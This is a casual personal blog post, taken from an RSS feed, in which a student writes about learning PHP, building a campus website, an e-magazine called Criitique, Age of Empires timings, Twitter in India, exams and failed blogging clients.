<p>Lately I’ve been playing around with PHP a lot, and mind you it is really cool. I might post some of my experiences with PHP later on. And the reason I’ve been playing with PHP is because I’ve been working on my own website(its not exactly mine, its under Web Designing Section, IITR, but I’ve written 95% of its code). I’ll be launching soon, under a limited beta, so keep watching. I’ve also been working on the second issue of Criitique, an e-magazine for the youth. With kick-ass articles you are sure to like it. Do check it at <a href="http://www.criitique.com">www.criitique.com</a>. Playing Age Of Empires is now a daily affair for me now, and I’ve been working my way up and down my timings. For those interested, my timings currently are “13,20,35 with 27,28-29 pop. I’ve been tweeting a lot, and I still don’t know why the twitter fad isn’t catching up in India. Twitter is fast, and easy, so why don’t people use it? Any ideas? Let me know.</p>

<p>I’ve also got to study, with my end sems coming up, and this seems to be the time to do it. Got any more brainstorming ideas to work on? Wanna work with me? Join the fun Aboard The Nautilus</p>

<p>As an update, Windows Live Writer refused to connect to my blog and I finnaly used BlogDesk to publish my post. And I also tried Qumana, and wBlogger, and FYI, none of them work.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
    </channel>
</rss>